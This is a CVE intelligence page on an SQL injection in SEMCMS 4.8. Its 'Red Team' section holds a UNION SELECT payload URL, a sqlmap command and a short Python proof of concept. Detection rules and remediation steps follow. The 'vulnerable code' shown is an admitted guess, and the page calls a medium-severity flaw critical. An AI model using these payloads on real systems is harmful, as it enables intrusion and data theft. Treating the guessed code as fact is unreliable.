☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4595

CVE-2024-4595 SQL Injection in Semcms
📅 PUBLISHED: 2024-05-07 15:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
2.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 4.8
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4595 is a critical SQL injection vulnerability discovered in SEMCMS versions up to and including 4.8. The flaw resides in the locate function within function.php, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The vulnerability is remotely exploitable without authentication, making it a significant threat despite the medium CVSS score. The public availability of exploit code elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the locate function of function.php. The function likely constructs a SQL query using user-supplied input without proper sanitization or parameterization. An attacker can manipulate the locate parameter to inject malicious SQL statements.

Root Cause: The application fails to validate or escape user input before incorporating it into a SQL query. This allows an attacker to break out of the intended query structure and execute arbitrary SQL commands.

Attack Vector: The attacker sends a crafted HTTP request to the vulnerable endpoint, typically via GET or POST parameters. The injection point is the locate parameter.

Impact: Successful exploitation can lead to:

  • Extraction of sensitive data (e.g., user credentials, database contents)
  • Modification or deletion of database records
  • Potential escalation to remote code execution in some configurations

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the current state. A patched version would use prepared statements or parameterized queries.

Vulnerable Code (function.php):

function locate($id) {
    $sql = "SELECT * FROM table WHERE id = " . $id;
    $result = mysqli_query($conn, $sql);
    // ...
}

Patched Code (hypothetical):

function locate($id) {
    $stmt = $conn->prepare("SELECT * FROM table WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
    $result = $stmt->get_result();
    // ...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable SEMCMS 4.8 instance (e.g., using Docker or a local web server with PHP and MySQL).
  2. Ensure the application is accessible over the network.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /function.php?locate=1).
  2. Inject SQL payloads to extract data. Example:
    http://target/function.php?locate=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
    
  3. Use tools like sqlmap for automated exploitation:
    sqlmap -u "http://target/function.php?locate=1" --batch --dbs
    

Proof of Concept (PoC):

import requests

target = "http://target/function.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
response = requests.get(target, params={"locate": payload})
print(response.text)

Blue Team

Detection:

  • Monitor for SQL injection patterns in HTTP requests (e.g., UNION, SELECT, OR 1=1).
  • Use WAF rules to block suspicious parameters.

Hunting:

  • Search logs for requests to function.php with unusual locate values.
  • Look for database error messages in application logs.

Containment:

  • Temporarily disable the vulnerable function or restrict access to function.php.
  • Apply virtual patching via WAF.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP requests to /function.php with locate parameter containing SQL keywords (e.g., UNION, SELECT, --).
    • Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File:

    • Modified function.php if attacker attempts to backdoor.
    • Suspicious entries in web server logs.
  • System:

    • Unexpected database queries or connections.
    • New user accounts or data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2024_4595_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SEMCMS locate function"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-4595"
    strings:
        $sqli1 = "locate=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR 1=1" nocase
        $sqli5 = "--" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against SEMCMS locate Function
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-4595
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "locate="
            - "UNION"
            - "SELECT"
            - "OR 1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4595 SQL Injection Attempt"; flow:to_server,established; content:"locate="; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable function: If possible, remove or comment out the locate function in function.php.
  2. Input validation: Implement strict input validation for the locate parameter (e.g., only allow numeric values).
  3. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns.
  4. Database hardening: Use least-privilege database accounts and restrict access.

Long-term Fix:

  • Upgrade to a patched version of SEMCMS when available.
  • Rewrite the vulnerable code using prepared statements or parameterized queries.
  • Conduct a full security audit of the application.

Monitoring:

  • Enable detailed logging for web and database servers.
  • Set up alerts for SQL injection attempts.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

SEMCMS
SEMCMS 4.8
SEMCMS admin

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4595/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.